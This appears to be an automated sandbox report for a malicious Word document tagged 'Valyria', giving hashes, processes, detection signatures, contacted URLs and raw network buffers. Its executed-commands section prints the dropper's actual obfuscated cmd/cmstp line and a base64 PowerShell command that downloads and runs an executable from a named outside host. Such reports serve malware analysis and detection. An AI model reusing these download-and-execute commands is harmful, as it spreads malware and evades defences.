API tools faq
paste
paladin316

Docs_ed2b0aa602da76e3fd727bc39ea98990_doc_2019-07-13_05_30.txt

paladin316
Jul 13th, 2019
2,277
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 283.50 KB | None | 0 0
raw download clone embed print report
  1.  
  2. * MalFamily: "Valyria"
  3.  
  4. * MalScore: 10.0
  5.  
  6. * File Name: "Docs_ed2b0aa602da76e3fd727bc39ea98990.doc"
  7. * File Size: 335360
  8. * File Type: "Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: Admin, Template: Normal.dotm, Last Saved By: usrr, Revision Number: 4, Name of Creating Application: Microsoft Office Word, Total Editing Time: 05:00, Create Time/Date: Sat Jul 21 05:29:00 2018, Last Saved Time/Date: Fri Sep 21 15:08:00 2018, Number of Pages: 1, Number of Words: 4, Number of Characters: 29, Security: 0"
  9. * SHA256: "8078ed991cbc81e43fb82acad2b6c417e8a9a40f22f5e320f6d4c38abb5b48f4"
  10. * MD5: "ed2b0aa602da76e3fd727bc39ea98990"
  11. * SHA1: "8ef44a38cd4c76f7d5874f9c28eb450cff86cd7b"
  12. * SHA512: "3600c2796b068fb8f8f0db38697daec27c3e1ef2d48046c802eecd6fc30e0e87a16b7077426903014a5db9a9a990fcdd0552afbee77393270a46193a271b451d"
  13. * CRC32: "508EBF66"
  14. * SSDEEP: "6144:HQtfWkYttMlf0tu80hDCEoGrKaz53fWmDmr1Ikhyx0vT2+4:QPMMZPnFoPQ3f9KrKk0xC14"
  15.  
  16. * Process Execution:
  17. "WINWORD.EXE",
  18. "splwow64.exe",
  19. "services.exe",
  20. "svchost.exe",
  21. "WmiPrvSE.exe",
  22. "cmd.exe",
  23. "cmstp.exe",
  24. "powershell.exe",
  25. "WmiPrvSE.exe",
  26. "svchost.exe",
  27. "svchost.exe",
  28. "taskhost.exe",
  29. "WMIADAP.exe"
  30.  
  31.  
  32. * Executed Commands:
  33. "C:\\Windows\\splwow64.exe 12288",
  34. "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding",
  35. "C:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding",
  36. "cmd /V /C set \"D38=%APPDATA%\\Microsoft\\%RANDOM%%RANDOM%.txt\" && set \"D60=\"^\" && (For %i in (\"version\" \"Signature=$Windows NT$\" \"AdvancedINF=2.5\" \"DefaultInstall_SingleUser\" \"UnRegisterOCXs=D86\" \"D86\" \"%11%\\%D15_1%%D15_2%%D15_3%,NI,%D71_1%%D71_2%%D71_3%%D71_4%%D71_5%%D71_6%%D71_7%%D71_8%%D71_9%%D71_10%%D71_11%%D71_12%%D71_13%%D71_14%%D71_15%%D71_16%%D71_17%%D71_18%%D71_19%%D71_20%\" \"Strings\" \"D71_1=ht\" \"D71_2=tp\" \"D71_3=:/\" \"D71_4=/w\" \"D71_5=ww\" \"D71_6=.p\" \"D71_7=ed\" \"D71_8=id\" \"D71_9=os\" \"D71_10=la\" \"D71_11=la\" \"D71_12=ct\" \"D71_13=eo\" \"D71_14=.c\" \"D71_15=om\" \"D71_16=.a\" \"D71_17=r/\" \"D71_18=cf\" \"D71_19=.t\" \"D71_20=xt\" \"D15_2=rO\" \"D15_1=sC\" \"D15_3=bJ\" ) do @echo %~i)>\"!D38!\" && echo ServiceName=!D60! !D60!>>!D38! && echo ShortSvcName=!D60! !D60!>>!D38! && start \"\" %WINDIR%\\System32\\cmstp.exe /s /ns \"!D38!\"",
  37. "C:\\Windows\\System32\\cmstp.exe /s /ns \"C:\\Users\\user\\AppData\\Roaming\\Microsoft\\2400615008.txt\"",
  38. "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NOP -NOni -w hiDdEN -E \"JABmAGYAIAA9ACAAJABlAG4AdgA6AGEAcABwAGQAYQB0AGEAIAArACAAKABbAGMAaABhAHIAXQA5ADIAKQAgACsAIAAtAGoAbwBpAG4AIAAoACgANgA1AC4ALgA5ADAAKQAgACsAIAAoADkANwAuAC4AMQAyADIAKQAgAHwAIABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBDAG8AdQBuAHQAIAAxADAAIAB8ACAAJQAgAHsAWwBjAGgAYQByAF0AJABfAH0AKQAgACsAIAAnAC4AZQB4AGUAJwA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBwAGUAZABpAGQAbwBzAGwAYQBsAGEAYwB0AGUAbwAuAGMAbwBtAC4AYQByAC8AYgBvAG4AaQB0AGEAbQAuAGUAeABlACcALAAgACQAZgBmACkAOwBpAGYAIAAoAFQAZQBzAHQALQBQAGEAdABoACAAJABmAGYAKQAgAHsAcwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgACQAZgBmADsAfQA=\"",
  39. "powershell -NOP -NOni -w hiDdEN -E \"JABmAGYAIAA9ACAAJABlAG4AdgA6AGEAcABwAGQAYQB0AGEAIAArACAAKABbAGMAaABhAHIAXQA5ADIAKQAgACsAIAAtAGoAbwBpAG4AIAAoACgANgA1AC4ALgA5ADAAKQAgACsAIAAoADkANwAuAC4AMQAyADIAKQAgAHwAIABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBDAG8AdQBuAHQAIAAxADAAIAB8ACAAJQAgAHsAWwBjAGgAYQByAF0AJABfAH0AKQAgACsAIAAnAC4AZQB4AGUAJwA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBwAGUAZABpAGQAbwBzAGwAYQBsAGEAYwB0AGUAbwAuAGMAbwBtAC4AYQByAC8AYgBvAG4AaQB0AGEAbQAuAGUAeABlACcALAAgACQAZgBmACkAOwBpAGYAIAAoAFQAZQBzAHQALQBQAGEAdABoACAAJABmAGYAKQAgAHsAcwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgACQAZgBmADsAfQA=\"",
  40. "C:\\Users\\user\\AppData\\Roaming\\BUfgHFWaPD.exe ",
  41. "C:\\Windows\\System32\\svchost.exe -k netsvcs"
  42.  
  43.  
  44. * Signatures Detected:
  45.  
  46. "Description": "Possible date expiration check, exits too soon after checking local time",
  47. "Details":
  48.  
  49. "process": "cmd.exe, PID 1360"
  50.  
  51.  
  52.  
  53.  
  54. "Description": "A process attempted to delay the analysis task.",
  55. "Details":
  56.  
  57. "Process": "WINWORD.EXE tried to sleep 302 seconds, actually delayed analysis time by 0 seconds"
  58.  
  59.  
  60. "Process": "WmiPrvSE.exe tried to sleep 420 seconds, actually delayed analysis time by 0 seconds"
  61.  
  62.  
  63.  
  64.  
  65. "Description": "Attempts to connect to a dead IP:Port (10 unique times)",
  66. "Details":
  67.  
  68. "IP": "104.81.145.5:443"
  69.  
  70.  
  71. "IP": "23.15.4.32:80"
  72.  
  73.  
  74. "IP": "65.52.98.231:443"
  75.  
  76.  
  77. "IP": "104.18.24.243:80"
  78.  
  79.  
  80. "IP": "23.15.4.26:80"
  81.  
  82.  
  83. "IP": "190.139.110.10:80"
  84.  
  85.  
  86. "IP": "52.109.6.6:443"
  87.  
  88.  
  89. "IP": "72.21.91.29:80"
  90.  
  91.  
  92. "IP": "23.194.108.146:443"
  93.  
  94.  
  95. "IP": "52.109.16.4:443"
  96.  
  97.  
  98.  
  99.  
  100. "Description": "At least one IP Address, Domain, or File Name was found in a crypto call",
  101. "Details":
  102.  
  103. "ioc": "gb.xsl"
  104.  
  105.  
  106. "ioc": "ontent.inf"
  107.  
  108.  
  109. "ioc": "rocess.glox"
  110.  
  111.  
  112. "ioc": "iso690nmerical.xsl"
  113.  
  114.  
  115. "ioc": "gostname.xsl"
  116.  
  117.  
  118. "ioc": "nline.xsl"
  119.  
  120.  
  121. "ioc": "rame.glox"
  122.  
  123.  
  124. "ioc": "ieee2006officeonline.xsl"
  125.  
  126.  
  127. "ioc": "e.gu"
  128.  
  129.  
  130. "ioc": "ist.glox"
  131.  
  132.  
  133. "ioc": "sist02.xsl"
  134.  
  135.  
  136. "ioc": "iso690.xsl"
  137.  
  138.  
  139. "ioc": "pictureorgchart.glox"
  140.  
  141.  
  142. "ioc": "harvardanglia2008officeonline.xsl"
  143.  
  144.  
  145. "ioc": "adial.glox"
  146.  
  147.  
  148. "ioc": "ccent.glox"
  149.  
  150.  
  151. "ioc": "rc.glox"
  152.  
  153.  
  154. "ioc": "rid.glox"
  155.  
  156.  
  157. "ioc": "..3b"
  158.  
  159.  
  160. "ioc": "chicago.xsl"
  161.  
  162.  
  163. "ioc": "rings.glox"
  164.  
  165.  
  166. "ioc": "content.inf"
  167.  
  168.  
  169. "ioc": "etropolitan.thmx"
  170.  
  171.  
  172. "ioc": "quations.dotx"
  173.  
  174.  
  175. "ioc": "rame.thmx"
  176.  
  177.  
  178. "ioc": "architecture.glox"
  179.  
  180.  
  181. "ioc": "gosttitle.xsl"
  182.  
  183.  
  184. "ioc": "iew.thmx"
  185.  
  186.  
  187. "ioc": "anded.thmx"
  188.  
  189.  
  190. "ioc": "arallax.thmx"
  191.  
  192.  
  193. "ioc": "asis.thmx"
  194.  
  195.  
  196. "ioc": "rop.thmx"
  197.  
  198.  
  199. "ioc": "eadlines.thmx"
  200.  
  201.  
  202. "ioc": "erlin.thmx"
  203.  
  204.  
  205. "ioc": "ividend.thmx"
  206.  
  207.  
  208. "ioc": "uotable.thmx"
  209.  
  210.  
  211. "ioc": "roplet.thmx"
  212.  
  213.  
  214. "ioc": "eathered.thmx"
  215.  
  216.  
  217. "ioc": "avon.thmx"
  218.  
  219.  
  220. "ioc": "rail.thmx"
  221.  
  222.  
  223. "ioc": "esh.thmx"
  224.  
  225.  
  226.  
  227.  
  228. "Description": "A process created a hidden window",
  229. "Details":
  230.  
  231. "Process": "cmstp.exe -> powershell"
  232.  
  233.  
  234.  
  235.  
  236. "Description": "HTTP traffic contains suspicious features which may be indicative of malware related traffic",
  237. "Details":
  238.  
  239. "get_no_useragent": "HTTP traffic contains a GET request with no user-agent header"
  240.  
  241.  
  242. "suspicious_request": "http://www.pedidoslalacteo.com.ar/bonitam.exe"
  243.  
  244.  
  245.  
  246.  
  247. "Description": "Performs some HTTP requests",
  248. "Details":
  249.  
  250. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D"
  251.  
  252.  
  253. "url": "http://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D"
  254.  
  255.  
  256. "url": "http://www.pedidoslalacteo.com.ar/cf.txt"
  257.  
  258.  
  259. "url": "http://www.pedidoslalacteo.com.ar/bonitam.exe"
  260.  
  261.  
  262.  
  263.  
  264. "Description": "The office file has a macro.",
  265. "Details":
  266.  
  267.  
  268. "Description": "Attempts to restart the guest VM",
  269. "Details":
  270.  
  271.  
  272. "Description": "Attempts to repeatedly call a single API many times in order to delay analysis time",
  273. "Details":
  274.  
  275. "Spam": "services.exe (504) called API GetSystemTimeAsFileTime 7841916 times"
  276.  
  277.  
  278.  
  279.  
  280. "Description": "Attempts to execute a Living Off The Land Binary command for post exeploitation",
  281. "Details":
  282.  
  283. "MITRE T1191 - cmstp": "(Tactic: Defense Evasion, Execution)"
  284.  
  285.  
  286.  
  287.  
  288. "Description": "A document file initiated network communications indicative of a potential exploit or payload download",
  289. "Details":
  290.  
  291. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00~\\x01\\x00\\x00z\\x03\\x01)c\\xb5\\xc4q\\xc3\\x03\\xc7\\xdf\\xb8\\xc17,\\x81\\xb1\\x0b\\xd9\\x8fyq\\x13a\\xe4\\xf8k\\x9a@\\xd6k\r8\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x009\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00 \\x00\\x1e\\x00\\x00\\x1broaming.officeapps.live.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  292.  
  293.  
  294. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x08r\\x98r\\xdf\\xbd\\x17\\xa2\\x92\\xf0\\xaa\\x859\\x97e$<\\xc6r\\xf6\\xed\\xa8\\xfa\\x1f\\xf3\\xabk\\xb6\\xa4~0~\\xa8\\x02\\x81<y.\\xe1\\xf6\\x97\\xca\\x89\\xa2d\\x11\\xa1\\\\x90\\x19\\x1a\\xd3c\\x1c\\x8fai\\xd6\\x92\\x1d\\x94\\xc7_\\xee\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000s\\xa0ry\\xe3\\xce\\xb3:\\x91\rs\\x08\"\\x8e\\xac\\x8do\\x19\\xc7\\x86\\x12\\x8fo\\xe6|'\\xef\\xea\\xd0\\x86\\x92\\xfe\\xec\\xca\\x8b\\xe2ja\\x0b\\x96\\xd2\\x81\\xfd\\xa77\\xa3"
  295.  
  296.  
  297. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00z\\x01\\x00\\x00v\\x03\\x01)c\\xb5kh\\xd5\\xbb\\xd3f~\\xb2\\xa7d0\\xc8\\xe0\\x81$^\\xcf`\\xa9\\xae\\xccu\\xc2n\n/\\x1fy\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x005\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x1c\\x00\\x1a\\x00\\x00\\x17odc.officeapps.live.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  298.  
  299.  
  300. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xdc\t\r\\xe2\\xc1|\\x84\\xb3\\x90qx\\x92\\xee\\x03 g\\xb0w\\xa4~\\xf3\\x94p\\xa4\\xf7\\xa2wr\\xf6\\x01)\\xb79\\xee\\xa3r\\xa8l>g\\xae+\\xd8`\\x1c@\\x10\\xdae#\\x8a\\xaem\\xc1\\xeb\\xa31\\xec 1+m\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xcd0$\\x8c\\xd5\\xaa\\x8az\\x8e3\\x97\\xf1\\xa3\\\\x90\\xcb\\xb6id\\x80\\xbfm\\xd2\\x1e2*\\xe5'\\xc7\\xf6e\\x0e\\xc3\\xfdk\\x1a\\x91\\xae\\x19~\\xaa\\x0e\\xd2\\xd0z@!y"
  301.  
  302.  
  303. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01p\\xee\\x0f\\xdf_j\\xf5\\xb4\\xee\\x83\n\\xc22')\\xfep\\xa8\\x9a\\xc15\\xae2\\xd6t\\xca\\xc8\\x9a\\xbf\\xb2\\x95@\\xcf3\\x19\\x9e.\\xdfl&\\xaao\\x9bg\\xc2\\x86\\x83\\x06u\\xb0\\x93\\x8f7\\xc3\\xb7\\x9cegt\\xc0\\xb4\\xcf`\\x18\\xf2&\\xcb\\xe3\\x95~\\xac\\xe5\\xa4\\xaf\\x18*\\xf0w\\x80\"\\x86\\xb8\\xd4\\xe8>\\x7fgz\\x0fvfb\\xee\\x81r\\xc0\\xcb\\x96\\x80\\x93\\xd7\\xec:\\x91\\xf9\\xbe\\xd7\\xe1\\xd8\\xd4\\x15h\\xcb\\x16\\xfe\\x07u\\x08i\\x0f\\x11!\\xd3\\xd5\\x91\\xb2\\xb0\\x86r\\xcduf\\xebc\\xd63sb\\xe3a\\x99\\x8e|\\xca\\xb4\\x1a\\x1b\\xec\\xb1\\xfd\\xbe\\x10z\\xa0\\xc4\\xd0g'\\xd8\\x11\\xb4\\xfd\\xf0\\xb7\\x83\\xa8\\xa7\\x97l\\xb8\\x1fpj\\x1cg\\xc1\\x8c8smi\\xb3xdhy\\xfb\\xfa\\x82\\xbff\\x9f\\xbc\\x13\\xda\\xb1\\xfee\\x83\\xab\\x9e\\xba\\xc0 \\x14n\\xa3\\xa9f\\x1c5\\xaep\\xd7\\x96\\xc9\\xdf<\\xe6\\xd8 \\x92\\x14\\x1a\\xee\\xef\\xda\\x02\\xd2\\x1c\\xa3\\xe7\\xadb\\xc8\\x93\\x19\\xf0#\\xd4\\xd0\\xfa%\\xff\\xd1\\x13\\xcd\\x08\\x9e\\x05\\xd2\\xed"
  304.  
  305.  
  306. "http_request": "winword.exe_WSASend_get /mfewtzbnmeswstajbgurdgmcgguabbtbl0v27rvz7lbduom%2fnyb45spuewqu5z1zmijhwmys%2bghunoz7oruetfaceai4elabvpzalrznpjlrv1u%3d http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: ocsp.digicert.com\r\n\r\n"
  307.  
  308.  
  309. "http_request": "winword.exe_WSASend_get /mfqwujbqme4wtdajbgurdgmcgguabbrpc1vzt9qvn7bzy3iidtbhla4mkqquwiif1tycsck3fd7%2fhijo5ox%2f%2bn0ce3saagyvv14%2fmepdgh0aaaaabk8%3d http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: sat, 23 mar 2019 17:46:18 gmt\r\nif-none-match: \"dd54d75d468"
  310.  
  311.  
  312. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01p\\x1d\\xb7\\x062\\x03\\xbc\\x83\\x0b\\x12\\xc1\\x89 \\x84xh\\xa2%/\\xd6\\xbe\\x878\\x15\\x90\"\\x16b,k+4b\\x88\\xc1\\xcf\\xfb\\xd7\\xab\\x07\\x98:\\x1e\\x88q^\\xbf6\\xa5\\xf6\\xfa/d\\x8e\\x9d\\x91\\xa2p\\xb7\\xe7\\xa6\\xca\\x0f\\x10~\\x9b\\xe0m\\xf6\\xad\\x9a\\xd3\\x1e\\x07\\x7f\\xfd\\xa0\\xf0-|#\\x8d\\xba\\xd97w~mg\\xa8\\xcab\\x86f\\\\xfd\\xa0j\\x8e\\xb9\\xe5\\xacjk^\\xa5\\xd5\\x82\\xd8\\x99j;b\\x08k\\x9fg\\x9c\\x91\\xaa8\\x02\\xf6\\xd5a\\xa9\\xcd\\x06\\xa1\\xb8\\x93\\x10\\xf08\\x98\\xf3\\xae\\x97\\xc3\\x0e\\xb5t6\\xef\\xa1\\xc9\\xdby\\xdd\\x9c\\xe9\\x84g\\xd2\\xb6\\xcd1\\xa1\\x80\\xa0\\x19\\x06y \\xe6\\x8f\\x197d\\xce\\xa2\\x1bi\\xb3\\xa6\\x05\\xe8'&\\xf6\\x86n\\x12\\xf2\\x1al\\x80\\x19e\\xfa\\x84\\x17\\xe66\\xc5pod\\xac%\\xef\\x8ea.\\x035\\xefb\\x80\\x9d\\x06u\\x9c\\xcb_\\x9c\\\\xa6\\x95\\xefy)\\xf9\\xb4&z6jb\\x85y8%\\x8f\\x97\\x84\\x06<<\\xb9r\\xf6\\xc7\\xd6bi"
  313.  
  314.  
  315. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x02 \\xf3u(\\xc6\\x0bvi\\xf6@r:\\xd1\r\\xd1+at\\xf2\\x81\\x8dy\\x97\\xb9j1\\xdaj:\\xfdp\\x8b\\x14\\xa81\\xae\\x01\\xe0'5y^\\x15\\x91\\xbb\\xc19\\x08\\xe5\\xac\\xc0\\xd8\\x11fq\\xa2\\x82\\xbd\\xa0\\xc11@x\\xb5\\x175\\x15\\x1f\\x92t+\\xae\\xb6f\\xbdg\\xe6\\x9df9\\xf8\\xa1\\x01\\xd84\\xd13\\x98c%d\\x14\\x88\\x14\\xb8\\xec\\x99\\xe4o`\\x87\\xcd,\\x0e\\xe6\\x17^\\xcd0\\xe0uc\\xd3\t@\\x88\\xaa\\xf5\\xaf\\xd0\\x9e\\x10\\xb5\\xaa\\x7fc5k/\\xf5m\\xaa\r\\x83dv\\xa8\\xf0\\xacouen\\x10s\"@>*\\x87\\x0f\\xcb\\x88\\xa9ol\\x8a\\x8a\\xe0\\x19\\xec@*-y\\xf1\\xb7\\x87v0\\xe3\\xbc\\x82z(\\xd4\\xbf>\\xce\\x8f\\xa1\\x15\\xcf\n\\xefa0\\x1e\\x93\\x85\\x9e\\x1b\\x9e\\x8d\\xa5\\x96\\x86z\\x95\\xf57w\\x944\\xd2\\xeacdu\\x8ez4\\x91\\x1a\\xb3\\xbc\\x9ff;.\\x00\\x01e\\x12k\\xca\\xd4\\x82y\\xa6u\\xe9\\xd8ty\\xa4x\\xbfh\\xa6\\xfa\\x0e\\x80"
  316.  
  317.  
  318. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x01\\x00\\x00y\\x03\\x01)c\\xbe\\x88\\x1dw\\xe3\\xfa@y\\xe3\\x8a_yv\\xfa\\xec\\x0b\\x1d3\\x80%a\"\\xd0\\xb9k\\xca\\x0c\\x82\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x008\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x1f\\x00\\x1d\\x00\\x00\\x1atemplateservice.office.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  319.  
  320.  
  321. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf5\\xca\\x9ck\\xd3\\xa4\\xa6\\xe1\\x07|'=\\xfaf\\x9c:dy\\x9di\\x07f\\xfc\\x85e1\\xe6\\x1e\\xd2h^\\x8d\\x1d\\x04r\\xa0,\\x04\\x99\\x7f\\xac-`\\xcf\\xbc\"\\x9c\\xda\\x8ew\\xd5\\xcda\\xb0\\x1bhw\\xb6\\xa8q\\x8d\\xd0\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000>\\xb1\\xdd\\x00\\xb5(\\xcc|*'\\xd7u\\x01@\\x05\\x18\\x98e\\x96\\xdd\\xc3\\x0f\\x14\\x0f\\xd7*y\\xe0\\x14up\\xc0\\xae\\xba\\xb6\\x19\\xc7<\\x1b\\xeb\\x07v\\xd4~\\xc8\\xb2\\x97"
  322.  
  323.  
  324. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01pf$\\xb9yx\\xea\\xf3\\x8a\\xc5\\x90\\x8eg\\x8b\\xc7\\x85+\\xc5\\xc1h\\xb3\\xe0\\xd3f\\xfbq\\xe5\\xfb\\x8a\\xa09\\x86ss5;\\xdc\\x08\\x04=.\\x95\\xde\\x88tc\\xc3x\\xd8b\\x8c\\xb7\\x0cqy\\xddj\\xe2>\\xde\\xa0\\xcdw\\xbd`hj\\xb9\\xc4e<\\xa5\\x10\\x01\\xcb\\xd0\\x98\\xd0\\xb3\\xaf\\xdd\\x81c$\\x0f\\xe9\\xf3\\xe7\\xa6\\x1e\\xa2\\xe1o)\\xa8h\\x9d2\\xb1\\xcd\\x08c\\xa8 \\x98\\x02l5n\\x88j\\xfe\\xc6\\xa8\\xac\\xb6\\x0f\\x06\\x10\\x13\\x08d\\x0e\\x08\\xdd\\xec\\xba^t.b\\x93,\\xbe&\\xd2\\xe2\\xc3b\\xaf\\\\x11\\x19\\x7f\\xcf\\xeb\\x83\\xcf\\x9axs\\x80\\xeff\\xe0\\xfe\\xdca\\xee\\x18dg\\x1d\\xa3\\xb7\\xf0\\xc3\\xd4t\\xac\\xc4\\x8ds\\x88\\x9d=\r\\xdb4\\x01\\x1d\\x94\\x8fv\\x98\\xcb\\x19\\x93\\xcbh\\x11ma\\x85<\\xd83e+\\xc0\\xe9\\xb0\\xd6>\\xc3v\\xf4j#\\x1b\\xdf\\x97\\xe2\\xb8\\x03\\xef\\xb4\\x08:\\x8e\")\\xd5j\\xecx\\x8f\\xb4\\xaf,\\x0fs\\xe3yg&\\x0f\\xd1\\xa1\\x8a\\x89\\x1d\\xcf\\xc9\\xc5\\xf0\\xf3s\\x16"
  325.  
  326.  
  327. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc0\\xf6as^,(!\\xa3\\xb4)r$cb\\xe6\\xa9\\xe6\\xc6\\x8f\\xc0\\xc97d\\xc4^i\\xa5\\x84\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  328.  
  329.  
  330. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc0\\xc4\\xc66\\xf0\\xa1\\xdcw+\\xe7\\xa5\\xa21\\xbfy\\xab:\\xdfx\\x12ezt\\xaa\\x97us\\x08\\xad\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  331.  
  332.  
  333. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc0\\xda\\xf0\\xe7ol\\xe7.\\xdao\\x01\\x94z-\\xb3(\\xe6\\xee\\xdd\\xe6l\\xda:\\xb1\\x8ct\ny\\xdd\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  334.  
  335.  
  336. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc0\\x00\\xc6\\x00\\xb96l\\x7f\tsof\\x00\\x84c\\xd8s\\xd7d\\xbb6\\x9d<\\xe6\\xb1\\x89\\xe4\\x14\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  337.  
  338.  
  339. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc0\\x02\t\\x1a\\xb2\\x06\\x9a\\xc0k\\xedj\\xfd`\\x0et\\xa4\\xab\\xe0c\\xb1 \\xb2\\xab\\x80z\\x0ek\\xe9g\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  340.  
  341.  
  342. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc0\\x8c\\xe7\\x8d\\xf7pn\\x95\\xddg\\x10\\xba\\x8d\\x91u\\x96\\x90t\\x9e\\xcbz\\xd7b\\x882k\\x14\\xfa\\x91\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  343.  
  344.  
